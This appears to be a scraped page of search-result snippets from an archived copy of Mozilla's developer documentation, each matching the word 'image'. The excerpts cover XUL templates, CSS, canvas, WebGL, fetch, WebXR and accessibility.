... subject: http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg predicate: http://purl.org/dc/elements/1.1/description object: one of the thirty or so egyptian obelisks the template builder will be notified through the rdf observer mechanism of the change.
... (?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?description = 'one of the thirty or so egyptian obelisks') next, the builder works its way backwards through the statements, in order to fill in the remaining variables.
...now, the potential result so far is: (?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?description = 'one of the thirty or so egyptian obelisks', ?start = http://www.xulplanet.com/rdf/myphotos, ?title = 'obelisk') as you can see, the result looks to have all the information necessary to create a new item in the output.
Simple Query Syntax - Archive of obsolete content
here is what it might look like: <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </template> there is no <query> or <action> element used.
...after the default query statements are evaluated, the data network will look something like this: (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the numbers are used here for the variable names, but they are really just randomly generated so you can't refer to them in any way.
...you can see in the example that the value 'rdf:*' is used in two places, the uri attribute on the hbox and as the src attribute for the image.
...for example, to filter for photos with a specific country: <hbox id="photoslist" datasources="template-guide-photos4.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:r="http://www.xulplanet.com/rdf/"> <template> <rule r:country="http://www.daml.org/2001/09/countries/iso#it"> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </rule> </template> </hbox> this example shows how a single attribute may be used to filter for only those results that have a country set to 'http://www.daml.org/2001/09/countries/iso#it'.
Complete - Archive of obsolete content
in this extension, the only things that depend on the theme are the icon images on the buttons and the css style rules.
...how a button gets themed when you look at button 1 in seamonkey, you see an image or style that depends on your theme.
...the css stylesheet uses the corresponding selector #all-custom-1 to provide the appropriate image: button-1.png file structure in the new file structure, there is a skin directory for all the themes.
...the allcustom directory contains the icon images and the css stylesheet.
Custom Tree Views - Archive of obsolete content
rowcount : 10000, getcelltext : function(row,column){ if (column.id == "namecol") return "row "+row; else return "february 18"; }, settree: function(treebox){ this.treebox = treebox; }, iscontainer: function(row){ return false; }, isseparator: function(row){ return false; }, issorted: function(){ return false; }, getlevel: function(row){ return 0; }, getimagesrc: function(row,col){ return null; }, getrowproperties: function(row,props){}, getcellproperties: function(row,col,props){}, getcolumnproperties: function(colid,col,props){} }; the functions in the example not described above do not need to perform any action, but they must be implemented as the tree calls them to gather additional information.
...rowcount : 10000, getcelltext : function(row,column){ if (column.id == "namecol") return "row "+row; else return "february 18"; }, settree: function(treebox){ this.treebox = treebox; }, iscontainer: function(row){ return false; }, isseparator: function(row){ return false; }, issorted: function(){ return false; }, getlevel: function(row){ return 0; }, getimagesrc: function(row,col){ return null; }, getrowproperties: function(row,props){}, getcellproperties: function(row,col,props){}, getcolumnproperties: function(colid,col,props){} }; function setview(){ document.getelementbyid('my-tree').view = treeview; } </script> <tree id="my-tree" flex="1"> <treecols> <treecol id="namecol" label="name" flex="1"/> <treecol id="datecol" l...
...abel="date" flex="1"/> </treecols> <treechildren/> </tree> </window> in the image, you can see two columns, each with data taken from the getcelltext() function.
...in the image, only seven rows are displayed, the last only partially, so getcelltext() will be called only 14 times, one for each row and column.
Element Positioning - Archive of obsolete content
in the image, the first two buttons have been given a suitable size to hold their text.
...the following example demonstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <button label="no"/> <button label="i really don't know one way or the other"/> </hbox> </window> the window will initially appear like in the image earlier.
...the width of the box will be set to the initial total width of all three buttons (around 430 pixels in the image).
...notice in the image that the text input has grown to extend to the full size of the window.
notification - Archive of obsolete content
attributes image, label, priority, persistence, type, value properties accessibletype, control, image, label, priority, persistence, type, value methods close examples <notification label="this is a warning"/> attributes image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
... the position of the image is determined by the dir and orient attributes.
... image type: image url gets and sets the value of the image attribute.
Gecko Compatibility Handbook - Archive of obsolete content
images are laid out without intervening blank areas in interent explorer but display blank areas between the images in gecko browsers.
... invalid use of spaces in name attributes (such as image maps) many authors seem to be infected by a penchant to use spaces in names.
...this can cause problems with gecko-based browsers, especially in image maps.
...gecko browsers require that the server specifies the correct mime type to match the content type: html - text/html css - text/css (related article) xml - text/xml svg - image/svg+xml faulty implementations of http several web servers incorrectly implement the http protocol which can result in problems for netscape 6.
Visual JS GE - Game development
resource js objects used for adding images for animation purposes.
...you need to put your images in a folder, for example test_res/ , inside project_instance/res/.
... resource objects contain the path data for all your images.
... the actual image objects will be created after you add animation to the game objects.
Gecko FAQ - Gecko Redirect 1
basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen.
...0: full support, except for processing to manipulate default attributes rdf: full support, except for abouteach, abouteachprefix, and parsetype javascript 1.5, including ecma-262 edition 3 (ecmascript) compliance, except for date.todatestring and date.totimestring, which are not implemented transfer protocols: http 1.1 (including gzip compression), ftp ssl unicode oji (open java interface) image formats png gif jpeg, pjpeg does "full support" mean that gecko has zero bugs today or will have zero bugs at some point in the future?
...anding issues with html 4.01 compliance css: style system component (see also bug reports marked with the css1, css2, and css3 keywords) dom: see dom0, dom1, dom2 and event handling components xml rdf core javascript language interpreter (javascript engine) http 1.1 compliance bugs should generally be found on the networking, networking - general, and networking: cache components oji imagelib image library (see also jpeg image handling and png image handling) ssl-related bugs are filed on the crypto component for information about the known bugs of a specific commercial product based on gecko, see that product's release notes.
... gecko includes the following components: document parser (handles html and xml) layout engine with content model style system (handles css, etc.) javascript runtime (spidermonkey) image library networking library (necko) platform-specific graphics rendering and widget sets for win32, x, and mac user preferences library mozilla plug-in api (npapi) to support the navigator plug-in interface open java interface (oji), with sun java 1.2 jvm rdf back end font library security library (nss) original document information author(s): angus other contributors: ekrock, vidur...
Handling different text directions - Learn web development
for example, you can float an image left to cause text to wrap round the image.
... change the writing mode on this example to vertical-rl to see what happens to the image.
...if you are using google chrome or microsoft edge, you may find that the image did not float.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Organizing your CSS - Learn web development
you may have used a css property in a specific way to get around older browser incompatibilities, for example: .box { background-color: red; /* fallback for older browsers that don't support gradients */ background-image: linear-gradient(to right, #ff0000, #aa0000); } perhaps you followed a tutorial to achieve something, and the css is a little non-obvious.
...this is a pattern with a fixed size image, video or other element on one side, and flexible content on the other.
...the differences between these two components is that the list-item has a bottom border, and images in comments have a border whereas list-item images do not.
... previous overview: building blocks in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: Writing Modes and Logical Properties - Learn web development
your example should look like the image below.
...your end result should look like the image below.
... try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.
...you can see how this should look in the image below.
Using CSS generated content - Learn web development
you modify your stylesheet to add text content or images.
...you can specify text or image content within a stylesheet when that content is closely linked to the document's structure.
... this issue does not arise if the content you specify consists of symbols or images that apply in all languages and cultures.
... image content to add an image before or after an element, you can specify the url of an image file in the value of the content property.
create fancy boxes - Learn web development
its background properties: background, background-color, background-image, background-position, background-size, etc.
... backgrounds can be either solid colors or images: solid color always fills the whole surface but images can be scaled and positioned.
... as you will notice, color gradients are considered to be images and can be manipulated as such */ background-image: linear-gradient(175deg, rgba(0,0,0,0) 95%, #8da389 95%), linear-gradient( 85deg, rgba(0,0,0,0) 95%, #8da389 95%), linear-gradient(175deg, rgba(0,0,0,0) 90%, #b4b07f 90%), linear-gradient( 85deg, rgba(0,0,0,0) 92%, #b4b07f 92%), linear-gradient(175deg, rgba(0,...
...background-color: #ffc; padding: 2rem; text-align: center; max-width: 200px; } .fancy::before { content: ""; position : absolute; z-index : -1; bottom : 15px; right : 5px; width : 50%; top : 80%; max-width: 200px; box-shadow: 0px 13px 10px black; transform: rotate(4deg); } what's next in many ways, making a fancy box is mostly about adding color and images within the background, so it could worth digging into managing colors and images.
How much does it cost to do something on the Web? - Learn web development
image editors your system likely includes a simple image editor, or viewer: paint on windows, eye of gnome on ubuntu, preview on mac.
...most of the images on the internet are copyrighted, so it is better to check the license of the file before you use it.
... sites like pixabay provide images under cc0 license, so you can use, edit and publish them even with modification for commercial use.
... isp access make sure that you have sufficient bandwidth: low-bandwidth access may be adequate to support a 'simple' website: reasonably-sized images, texts, some css and javascript.
Getting started with HTML - Learn web development
for example, the <img> element embeds an image file onto a page: <img src="https://udn.realityripple.com/samples/d5/2be21e0477.png"> this would output the following: note: empty elements are sometimes called void elements.
...this contains all the content that displays on the page, including text, images, videos, games, playable audio tracks, or whatever else.
... add an image to your document.
...earn bonus points if you manage to link to a different image (either locally on your computer, or somewhere else on the web).
Test your skills: Links - Learn web development
links 2 in this task we want you to fill in the four links so that they link to the appropriate places: the first link should link to an image called blue-whale.jpg, which is located in a directory called blue inside the current directory.
... the second link should link to an image called narwhal.jpg, which is located in a directory called narwhal, which is located one directory level above the current directory.
... the third link should link to the uk google image search.
... the base url is https://www.google.co.uk, and the image search is located in a subdirectory called imghp.
Video and audio content - Learn web development
previous overview: multimedia and embedding next now that we are comfortable with adding simple images to a webpage, the next step is to start adding video and audio players to your html documents!
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and images in html.
... video and audio on the web web developers have wanted to use video and audio on the web for a long time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) in the early days, native web technologies such as html didn't have the ability to embed video and audio on the web, so proprietary (or plugin-based) technologies like flash (and later, silverlight) became popular for handling such content.
... poster the url of an image which will be displayed before the video is played.
Multimedia: video - Learn web development
previous overview: performance next as we learned in the previous section, media, namely images and video, account for over 70% of the bytes downloaded for the average website.
... we have already taken a look at optimizing images.
... similar to responsive images, the correct size video is delivered to the browser, ensuring fast video startup, low buffering, and optimized playback.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Handling common JavaScript problems - Learn web development
as an example, the fetch api (a modern equivalent to xmlhttprequest) uses promises to fetch resources across the network and make sure that the response has been returned before they are used (for example, displaying an image inside an <img> element).
... to get started, make a local copy of our fetch-polyfill.html example and our nice image of some flowers in a new directory.
... we are going to write code to fetch the flowers image and display it in the page.
... apply the polyfill scripts to the page using the following code — place these above the existing <script> element so they will be available on the page already when we start trying to use fetch: <script src="es6-promise.js"></script> <script src="fetch.js"></script> inside the original <script>, add the following code: const myimage = document.queryselector('.my-image'); fetch('flowers.jpg').then(function(response) { response.blob().then(function(myblob) { let objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); now if you load it in a browser that doesn't support fetch (safari and ie are obvious candidates), you should still see the flower image appear — cool!
Storage access policy: Block cookies from trackers
browser caches: the http cache, the image cache, and the alternative services (alt-svc) cache are all partitioned for tracking resources, such that each top-level origin will have a separate partition and tracking resources on different top-level origins will be cached separate from each other.
... embedding tracker.example resource storage access an image is loaded from tracker.example and embedded in the main context of example.com.
...that <iframe> goes on to load an image from tracker.example.
...in the sample image below, trackertest.org is classified as a tracking resource, while the request to example.com is not.
CustomizableUI.jsm
if (aarea == customizableui.area_panel) { useicon = 'chrome://branding/content/icon32.png'; } else { useicon = 'chrome://branding/content/icon16.png'; } var myinstances = customizableui.getwidget('noida').instances; for (var i=0; i<myinstances.length; i++) { myinstances[i].node.setattribute('image', useicon); } }, onwidgetdestroyed: function(awidgetid) { console.log('a widget destroyed so removing listener, arguments:', arguments); if (awidgetid != 'noida') { return } console.log('my widget destoryed'); customizableui.removelistener(mywidgetlistener); } } customizableui.
...get //start - use style sheet service to style our widget to give it an icon cu.import('resource://gre/modules/services.jsm'); var sss = cc['@mozilla.org/content/style-sheet-service;1'].getservice(ci.nsistylesheetservice); var css = ''; css += '@-moz-document url("chrome://browser/content/browser.xul") {'; css += ' #id_of_my_widget_within_customizableui_and_dom {'; css += ' list-style-image: url("chrome://branding/content/icon16.png")'; //a 16px x 16px icon for when in toolbar css += ' }'; css += ' #id_of_my_widget_within_customizableui_and_dom[cui-areatype="menu-panel"],'; css += ' toolbarpaletteitem[place="palette"] > #id_of_my_widget_within_customizableui_and_dom {'; css += ' list-style-image: url("chrome://branding/content/icon32.png");'; //a 32px x 32px icon...
... customizableui.createwidget({ id: 'navigator-throbber', //id in cui.jsm // should match id of that in dom (line #11) type: 'custom', defaultarea: customizableui.area_navbar, onbuild: function(adocument) { var toolbaritem = adocument.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'toolbaritem'); var image = adocument.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'image'); image.setattribute('src', 'chrome://branding/content/icon16.png'); var props = { id: 'navigator-throbber', //id in dom // should match id of that in cui.jsm (line #2) title: 'activity indicator', align: 'center', pack: 'center', ...
... mousethrough: 'always', removable: 'true', sdkstylewidget: 'true', overflows: false }; for (var p in props) { toolbaritem.setattribute(p, props[p]); } toolbaritem.appendchild(image); return toolbaritem; } }); when you want to remove this widget run this code: customizableui.destroywidget('navigator-throbber-id-within-customizableui-object'); custom type - involved the browser uses type custom for its zoom controls and edit controls in the panel.
OS.File for the main thread
a, outfile, chunksize) { return task.spawn(function() { let view = new uint8array(data); let pos = 0; while (pos < view.bytelength) { pos += yield outfile.write(view.subarray(pos, chunksize)); } outfile.close(); }).then( null, function onfailure(reason) { outfile.close(); throw reason; } ); } example: save canvas to disk this exmaple uses image to load an image from a path (note: if your path is a file on disk you must use local file; this is accomplished with os.path.tofileuri, which accepts a string).
... after image loads it then draws it to canvas, makes it a blob, and uses filereader to turn it into arraybuffer(view), then uses os.file.writeatomic to save to disk.
... var img = new image(); img.onload = function() { var canvas = document.createelementns('http://www.w3.org/1999/xhtml', 'canvas'); canvas.width = img.naturalwidth; canvas.height = img.naturalheight; var ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); (canvas.toblobhd || canvas.toblob).call(canvas, function(b) { var r = cc['@mozilla.org/files/filereader;1'].createinstance(ci.nsidomfilereader); //new filereader(); r.onloadend = function() { // r.result contains the arraybuffer.
... var writepath = os.path.join(os.constants.path.desktopdir, 'savedimage.png'); var promise = os.file.writeatomic(writepath, new uint8array(r.result), { tmppath: writepath + '.tmp' }); promise.then( function(aval) { console.log('successfully saved image to disk'); }, function(areason) { console.log('writeatomic failed for reason:', areason); } ); }; r.readasarraybuffer(b); }, 'image/png'); }; //var path = os.path.tofileuri(os.path.join(os.contants.path.desktopdir, 'my.png')); //do it like this for images on disk var path = 'https://mozorg.cdn.mozilla.net/media/img/firefox/channel/toggler-beta.png?2013-06'; //do like this for i...
Mozilla Quirks Mode Behavior
prior to gecko 36, it also applied to images, and form controls but the quirk has been adapted to match the behavior of other browser (bug 783213).
... images (img elements) without alt attributes sometimes display placeholder icons in quirks mode.
... there are a bunch of quirks to get percentage heights on images, tables, objects, and applets (etc.?) to "work" (the way they did in netscape navigator 4), even though css says that percentage heights should behave like 'auto' heights when the parent element doesn't have a fixed height.
... maybe (firefox 3) when computing the minimum intrinsic width of an inline flow directly in a table cell (no blocks in between), it is assumed that it is not possible to break before and after an image (when otherwise it would be).
nsIAccessibleRole
role_chart 17 represents a graphical image used to represent data.
...is is used for xul:image, html:img.
... role_diagram 53 represents a graphical image used to diagram data.
... role_combobox_option 115 a item of list that is shown by combobox; role_image_map 116 an image map -- has child links representing the areas.
nsIAlertsService
implemented by: @mozilla.org/alerts-service;1 as a service: var alertsservice = components.classes["@mozilla.org/alerts-service;1"] .getservice(components.interfaces.nsialertsservice); method overview void showalertnotification(in astring imageurl, in astring title, in astring text, [optional] in boolean textclickable, [optional] in astring cookie, [optional] in nsiobserver alertlistener, [optional] in astring name, [optional] in astring dir, [optional] in astring lang, [optional] in astring data, [optional] in nsiprincipal principal,[optional] in boolean inprivatebrowsing); void closealert([optional] in astring name, [optional...
... void showalertnotification( in astring imageurl, in astring title, in astring text, in boolean textclickable, optional in astring cookie, optional in nsiobserver alertlistener, optional in astring name, optional in astring dir, optional in astring lang, optional in astring data, optional in nsiprincipal principal, optional in boolean inprivatebrowsing, optional ); parameters imageurl a url identifying the image to display in the notification alert.
... inprivatebrowsing optional controls the image loading behavior.
... if true, the image url will be loaded in private browsing mode.
Accessibility Inspector - Firefox Developer Tools
in the following example, you can see that the image has been highlighted and its role, graphic, name, "road, asphalt, sky, clouds, fall", and the color contrast ratio, 3.46, appears in the information bar above it.
... for example: the color contrast in the image above is 2.86, so potentially not enough contrast to make it easy to read.
... as of firefox 65, viewing this information for some foreground text that has a complex background image (e.g.
...for a start, you can investigate items that don't have a proper text equivalent — images without alt text and form elements without proper labels have a name property of null, for example.
Taking screenshots - Firefox Developer Tools
by default, the image file will be named screen shot yyy-mm-dd at hh.mm.ss.png.
...values above 1 yield "zoomed-in" images, whereas values below 1 create "zoomed-out" images.
... note: if you capture an image to a filename like test.png, and then you capture to that same filename, the new image will overwrite the old image.
... so if you’re using the up-arrow history scroll to capture images in quick succession, be careful — you need to remember to change the filename for each new capture.
Basic usage of canvas - Web APIs
the element can be sized arbitrarily by css, but during rendering the image is scaled to fit its layout size: if the css sizing doesn't respect the ratio of the initial canvas, it will appear distorted.
... the <canvas> element can be styled just like any normal image (margin, border, background…).
... for example, we could provide a text description of the canvas content or provide a static image of the dynamically rendered content.
... this can look something like this: <canvas id="stockgraph" width="150" height="150"> current stock price: $3.15 + 0.15 </canvas> <canvas id="clock" width="150" height="150"> <img src="images/clock.png" width="150" height="150" alt=""/> </canvas> telling the user to use a different browser that supports canvas does not help users who can't read the canvas at all, for example.
Document.execCommand() - Web APIs
for example, insertimage requires the url of the image to insert.
... enableobjectresizing enables or disables the resize handles on images, tables, and absolutely-positioned elements and other resizable objects.
...(not supported by internet explorer.) insertimage inserts an image at the insertion point (deletes selection).
... requires a url string for the image's src as a value argument.
Document - Web APIs
WebAPIDocument
document.imagesread only returns a list of the images in the current document.
... document.mozsyntheticdocument returns a boolean that is true only if this document is synthetic, such as a standalone image, video, audio file, or the like.
... document.mozsetimageelement() allows you to change the element being used as the background image for a specified element id.
... load & unload events domcontentloaded fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
EXT_texture_compression_bptc - Web APIs
constants the compressed texture formats are exposed by 4 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
...each 4x4 block of texels consists of 128 bits of rgba or image data.
...each 4x4 block of texels consists of 128 bits of srgb_alpha or image data.
... examples var ext = gl.getextension('ext_texture_compression_bptc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_bptc_unorm_ext, 128, 128, 0, texturedata); specifications specification status ext_texture_compression_bptc community approved ...
HTMLCanvasElement.getContext() - Web APIs
"bitmaprenderer" which will create an imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap.
...if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images.
...this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently.
... return value a renderingcontext which is either a canvasrenderingcontext2d for "2d", webglrenderingcontext for "webgl" and "experimental-webgl", webgl2renderingcontext for "webgl2" or imagebitmaprenderingcontext for "bitmaprenderer".
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfetchasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data.
... type optional a domstring indicating the image format.
... the default type is image/png.
...; } }; } var mfascallback = function(iconname) { return function(instream) { var file = fileutils.getfile('desk', [iconname + '.ico']); var outstream = fileutils.openfileoutputstream(file); cu.import('resource://gre/modules/netutil.jsm'); netutil.asynccopy(instream, outstream, netutilcallback()); } } canvas.mozfetchasstream(mfascallback('myicon'), 'image/vnd.microsoft.icon'); specifications not part of any specification.
LargestContentfulPaint - Web APIs
the largestcontentfulpaint interface of the largest contentful paint api provides details about the largest image or text paint before user input on a web page.
...may not be available if the element is a cross-origin image loaded without the timing-allow-origin header.
... largestcontentfulpaint.url if the element is an image, the request url of the image.
...(note: `rendertime` may not be available on // image elements loaded cross-origin without the `timing-allow-origin` header.) lcp = lastentry.rendertime || lastentry.loadtime; }); po.observe({type: 'largest-contentful-paint', buffered: true}); // send data to the server.
MediaStreamTrack.applyConstraints() - Web APIs
the advanced property further specifies that an image size of 1920 by 1280 is the preferred or an aspect ratio of 1.333 if that is not available.
...nst constraints = { width: {min: 640, ideal: 1280}, height: {min: 480, ideal: 720}, advanced: [ {width: 1920, height: 1280}, {aspectratio: 1.333} ] }; navigator.mediadevices.getusermedia({ video: true }) .then(mediastream => { const track = mediastream.getvideotracks()[0]; track.applyconstraints(constraints) .then(() => { // do something with the track such as using the image capture api.
... mediastream image capturethe definition of 'applyconstraints()' in that specification.
... working draft adds image constraints.
OffscreenCanvas.getContext() - Web APIs
"bitmaprenderer" creates a imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap.
...if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images then.
...this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently.
... return value a renderingcontext which is either a canvasrenderingcontext2d for "2d", webglrenderingcontext for "webgl" and "experimental-webgl", webgl2renderingcontext for "webgl2" and "experimental-webgl2" , or imagebitmaprenderingcontext for "bitmaprenderer".
PaintWorklet - Web APIs
the paintworklet interface of the css painting api programmatically generates an image where a css property expects a file.
... paintworklet.registerpaint() registers a class programmatically generate an image where a css property expects a file.
... <style> textarea { background-image: url(checkerboard); background-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule.
... @supports (background: paint(id)) { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
... texture a webgltexture object whose image to attach.
... level a glint specifying the mipmap level of the texture image to attach.
... layer a glint specifying the layer of the texture image to attach.
WebGLRenderingContext.activeTexture() - Web APIs
the value is a gl.texturei where i is within the range from 0 to gl.max_combined_texture_image_units - 1.
... exceptions if texture is not one of gl.texturei, where i is within the range from 0 to gl.max_combined_texture_image_units - 1, a gl.invalid_enum error is thrown.
... gl.activetexture(gl.texture1); the number of texture units is implementation dependent, you can get this number with the help of the max_combined_texture_image_units constant.
... gl.getparameter(gl.max_combined_texture_image_units); to get the active texture, query the active_texture constant.
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
...possible values: gl.renderbuffer_width: returns a glint indicating the width of the image of the currently bound renderbuffer.
... gl.renderbuffer_height: returns a glint indicating the height of the image of the currently bound renderbuffer.
... when using a webgl 2 context, the following value is available additionally: gl.renderbuffer_samples: returns a glint indicating the number of samples of the image of the currently bound renderbuffer.
Animating textures in WebGL - Web APIs
using the video frames as a texture the next change is to inittexture(), which becomes much simpler, since it no longer needs to load an image file.
... const level = 0; const internalformat = gl.rgba; const width = 1; const height = 1; const border = 0; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; const pixel = new uint8array([0, 0, 255, 255]); // opaque blue gl.teximage2d(gl.texture_2d, level, internalformat, width, height, border, srcformat, srctype, pixel); // turn off mips and set wrapping to clamp to edge so it // will work regardless of the dimensions of the video.
...e); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); return texture; } here's what the updatetexture() function looks like; this is where the real work is done: function updatetexture(gl, texture, video) { const level = 0; const internalformat = gl.rgba; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, video); } you've seen this code before.
... it's nearly identical to the image onload function in the previous example — except when we call teximage2d(), instead of passing an image object, we pass in the <video> element.
WebXR Device API - Web APIs
webxr is a group of standards which are used together to support rendering 3d scenes to hardware designed for presenting virtual worlds (virtual reality, or vr), or for adding graphical imagery to the real world, (augmented reality, or ar).
... webxr-compatible devices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
...each of these two images is rendered into a single framebuffer, with the left eye's rendered image on the left and the right eye's viewpoint rendered into the right half of the buffer.
... xrrenderstate provides a set of configurable properties which change how the imagery output by an xrsession is composited.
WindowOrWorkerGlobalScope.fetch() - Web APIs
since we are fetching an image, we run body.blob() on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element.
... const myimage = document.queryselector('img'); let myrequest = new request('flowers.jpg'); fetch(myrequest) .then(function(response) { if (!response.ok) { throw new error(`http error!
... status: ${response.status}`); } return response.blob(); }) .then(function(response) { let objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in the fetch with init then request example (see fetch request init live), we do the same thing except that we pass in an init object when we invoke fetch(): const myimage = document.queryselector('img'); let myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); const myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg'); fetch(myrequest, myinit).then(function(response) { // ...
... const myinit = { method: 'get', headers: { 'content-type': 'image/jpeg' }, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg', myinit); specifications specification status comment fetchthe definition of 'fetch()' in that specification.
XREnvironmentBlendMode - Web APIs
values opaque the rendered image is drawn without allowing any pass-through imagery.
...the alpha values specified in the xrsession's renderstate property's baselayer field are ignored since the alpha values for the rendered imagery are all treated as being 1.0 (fully opaque).
...all the device can do is add more light to the image; it can't make things get darker.
...since the real world is being digitally presented, the brightness of each pixel can be controlled, whether it's reality or the rendered xr image, the user's environment can be blended with the virtual environment with each pixel having its color and brightness precisely controlled.
XRSession - Web APIs
WebAPIXRSession
with xrsession methods, you can poll the viewer's position and orientation (the xrviewerpose), gather information about the user's environment, and present imagery to the user.
... environmentblendmode read only returns this session's blend mode which denotes how much of the real-world environment is visible through the xr device and how the device will blend the device imagery with it.
... renderstate read only an xrrenderstate object which contains options affecting how the imagery is rendered.
... visibilitystate read only a domstring whose value is one of those found in the xrvisibilitystate enumerated type, indicating whether or not the session's imagery is visible to the user, and if so, if it's being visible but not currently the target for user events.
WAI-ARIA Roles - Accessibility
a figure is generally considered to be one or more images, code snippets, or other content that puts across information in a different way to a regular flow of text.aria: form rolethe form landmark role can be used to identify a group of elements on a page that provide equivalent functionality to an html form.aria: grid rolethe grid role is for a widget that contains one or more rows of cells.
...to give the page more structure, a level should also be provided to indicate relationships between sections.aria: img rolethe aria img role can be used to identify multiple elements inside page content that should be considered as a single image.
... these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a visual manner.aria: list rolethe aria list role can be used to identify a list of items.
... it is normally used in conjunction with the listitem role, which is used to identify a list item contained inside the list.aria: listbox rolethe listbox role is used for lists from which a user may select one or more items which are static and, unlike html <select> elements, may contain images.aria: listitem rolethe aria listitem role can be used to identify an item inside a list of items.
-webkit-mask-attachment - CSS: Cascading Style Sheets
if a -webkit-mask-image is specified, -webkit-mask-attachment determines whether the mask image's position is fixed within the viewport, or scrolls along with its containing block.
... values */ -webkit-mask-attachment: scroll; -webkit-mask-attachment: fixed; -webkit-mask-attachment: local; /* multiple values */ -webkit-mask-attachment: scroll, local; -webkit-mask-attachment: fixed, local, scroll; /* global values */ -webkit-mask-attachment: inherit; -webkit-mask-attachment: initial; -webkit-mask-attachment: unset; syntax values scroll if scroll is specified, the mask image scrolls within the viewport along with the block that contains the mask image.
... fixed if fixed is specified, the mask image does not scroll with its containing element, instead remaining stationary within the viewport.
... formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples fixing a mask image to the viewport body { -webkit-mask-image: url('images/mask.png'); -webkit-mask-attachment: fixed; } specifications not part of any standard.
-webkit-mask-position-x - CSS: Cascading Style Sheets
the -webkit-mask-position-x css property sets the initial horizontal position of a mask image.
...obal values */ -webkit-mask-position-x: inherit; -webkit-mask-position-x: initial; -webkit-mask-position-x: unset; initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete syntax values <length-percentage> a length indicating the position of the left edge of the image relative to the box's left padding edge.
...that means, a value of 0% means the left edge of the image is aligned with the box's left padding edge and a value of 100% means the right edge of the image is aligned with the box's right padding edge.
... formal definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | left | center | right ]#where <length-percentage> = <length> | <percentage> examples horizontally positioning a mask image .exampleone { -webkit-mask-image: url(mask.png); -webkit-mask-position-x: right; } .exampletwo { -webkit-mask-image: url(mask.png); -webkit-mask-position-x: 25%; } specifications not part of any standard.
-webkit-mask-position-y - CSS: Cascading Style Sheets
the -webkit-mask-position-y css property sets the initial vertical position of a mask image.
